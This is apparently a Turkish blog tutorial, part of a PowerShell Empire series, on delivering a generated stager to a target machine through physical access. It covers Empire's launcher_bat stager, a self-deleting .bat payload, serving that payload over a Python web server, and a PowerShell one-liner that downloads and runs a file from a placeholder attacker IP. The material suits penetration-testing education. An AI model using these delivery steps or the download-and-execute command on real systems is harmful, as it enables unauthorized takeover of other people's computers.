PowerShell Empire Serisi – III | Oluşturulan Kodu Hedef Sisteme Ulaştırma Yöntemleri – 1: Fiziksel Erişim Saldırıları

Bu yazıda, Empire stager’ları tarafından oluşturulan ele geçirme kodunu hedef sisteme ulaştırmanın yollarından ilki olan ‘Fiziksel Erişim Saldırı Yöntemi’nden bahsedeceğim.

Bir saldırganın Empire’ı kullanabilmesi için, stager’lar tarafından üretilen ve çalıştırıldığında sistemi ele geçirmeyi sağlayan kodu hedefe ulaştırması gerekir. Günümüzde bu işlem için kullanılan en popüler, hızlı ve efektif yöntem ‘Sosyal Mühendislik Saldırıları’dır. Hedefe özgü ya da genel amaçlı oluşturmuş saldırı kampanyaları ile kullanıcıların bilgisayarları ele geçirilebilir.

Eğer saldırganın hedef sisteme fiziksel olarak erişimi varsa, yani saldıran kişi sisteme erişip o sisteme ait terminali veya tarayıcıyı kullanabiliyor veya çıkarılabilir medyaya fiziksel olarak erişim sağlayabiliyor ise, o sistemi çok kolay bir şekilde ele geçirebilir.

Saldıran kişinin sisteme fiziksel olarak erişimi varsa şunları yapabilir:

  • Kon-Boot, Hiren’s Boot CD gibi boot loader’ların yardımıyla giriş ekranlarını atlatabilir veya kimlik doğrulamayı devre dışı bırakabilir.
  •  Hedef sisteme USB Rubber Duckys, LAN turtles gibi ele geçirme işlemini otomatik bir şekilde yapan cihazlar bağlayabilir.
  • Hard diski sökerek hassas verilere ulaşabilir.
  • Eğer hedef sistem çalışır durumda ve kilitlenmemiş bir halde(parola varsa bile kullanımına gerek kalmayacak bir şekilde) ise, bu durumda sistemi ele geçirme işlemi saniyeler sürecektir.

Biz, fiziksel erişimimizin olduğu bir hedef sistemi ele geçirmek için şu adımları izleyeceğiz:

  • Empire’ın bize sunmuş olduğu stager’lardan ‘windows/launcher_bat’ adlı stager’ı seçeceğiz.
  • Bu stager vasıtasıyla, çalıştığı takdirde hedef sistemi ele geçiren ve çalıştıktan sonra kendini otomatik olarak silen zararlı bir ‘.bat’ dosyası oluşturacağız.
  • Kendi cihazımızda oluşan bu dosyayı karşıdaki sisteme ulaştırmak için, sistemimizde bir web sunucusu oluşturacağız ve dosyayı bu sunucu üzerinden servis edeceğiz.
  • Servis edilen bu dosyayı hedef sistemde indirip çalıştıracağız.

Yukarıdaki işlemleri sırasıyla takip edersek, hedef sistemi başarılı bir şekilde ele geçirebiliriz.

İlk adım olarak hedef sistemden açılan bağlantıyı ve gelecek olaran verileri dinleyecek bir listener oluşturuyoruz.

usestager windows/launcher_bat komutu ile yukarıda bahsettiğimiz stager’ı seçiyoruz. info komutu ile bu stager hakkındaki bilgilere erişebiliriz.

Daha önce yaptığımız gibi yine Listener seçeneğine atama yapmamız gerekiyor. Diğer seçenekleri inceleyecek olursak, OutFile seçeneği ile dosyanın oluşacağı dizini seçiyoruz. Bu dosya varsayılan olarak /tmp dizininin altına oluşturulacak. Language seçeneği ile görüyoruz ki, stager PowerShell ile oluşturulacak. Son olarak, Delete seçeneği ile bat dosyasının çalıştırıldıktan sonra silineceğini görüyoruz.

Sırasıyla set Listener http ve generate komutlarını çalıştırarak zararlı dosyamızı oluşturalım.

/tmp dizinini, zararlı dosyamız oluştu mu diye kontrol edelim.

Görüldüğü gibi dosya başarılı bir şekilde oluşturulmuş.

Dosyanın içeriğinde ne olduğunu görüntüleyelim.

Şimdi sırada oluşturulan bu dosyayı servis edecek olan web sunucusunu oluşturma kısmı var. Bunun için bir Python modülü olan SimpleHTTPServer kullanacağız. Zararlı kodun oluştuğu dizine gidelim ve orada python -m SimpleHTTPServer 9090 komutunu çalıştıralım. Bu komut, sistemimizin 9090 numaralı portunda bizim için bir web sunucusu oluşturacak ve dosyalarımızı servis edecek.

Artık zararlı kod başarılı bir şekilde servis ediliyor. Yapmamız gereken, bu kodu hedef sisteme indirmek ve orada çalıştırmak.

Hedef sistemin tarayıcısından kendi sistemimizin 9090 portuna gidelim ve servis edilen dosyaları görüntüleyelim.

/tmp dizini, içerdiği bütün alt dizinler ve dosyalar ile emrimize amade. Oluşturduğumuz bat dosyasına tıklayalım ve indirelim.

Zararlı dosya hedef sistemdeki Downloads klasörüne başarılı bir şekilde indirildi. Şimdi çift tık ile bu dosyayı çalıştıralım.

Dosya başarılı bir şekilde çalıştı, ardından kendini imha etti.

Empire’a dönüp ajan menüsüne gittiğimizde, kodun karşı sistemde başarılı bir şekilde çalıştığını ve yeni bir ajan oluştuğunu görüyoruz.

Peki ya hedef sistem bir sunucuysa ve kullanıcı arayüzüne sahip değilse? Yani hedef sistemde web sayfalarını görüntülemek için bir tarayıcı mevcut değilse? O zaman indirme işlemini nasıl yapacağız?

Böyle bir durumla karşılaşırsak, hedef sistemdeki terminali kullanarak web sunucularında servis edilen dosyaları indirebilir ve çalıştırabiliriz. PowerShell tabalı bir dosyayı indirip çalıştırmak için

PowerShell (New-Object System.Net.WebClient).DownloadFile('http://IP_ADRESİ:SUNUCUNUN_ÇALIŞTIĞI_PORT/dosya_adı’,’dosyayı_kaydetmek_istediğimiz_ad'); Start-Process ‘dosyayı_kaydetmek_istediğimiz_ad'

kodundan faydalanabilir, bu kod vasıtasıyla dosyayı indirme ve çalıştırma işlemlerini gerçekleştirebiliriz.

İşleyişi görelim.

Görüldüğü gibi dosya paylaşımı ve çalıştırılması işlemleri başarıyla gerçekleştirildi ve ikinci ajanımız oluşturuldu.

Hedef sistemi iki farklı şekilde başarıyla ele geçirdik. Artık ajanlarımızı kullanarak sistemde istediğimiz şeyi yapabiliriz.

Ahmet Selim Kaya

Ofansif Güvenlik Araştırmacısı, TOBB ETU Siber Güvenlik Yüksek Lisans öğrencisi. Bilmediklerinin öğrencisi, bildiklerinin öğretmeni.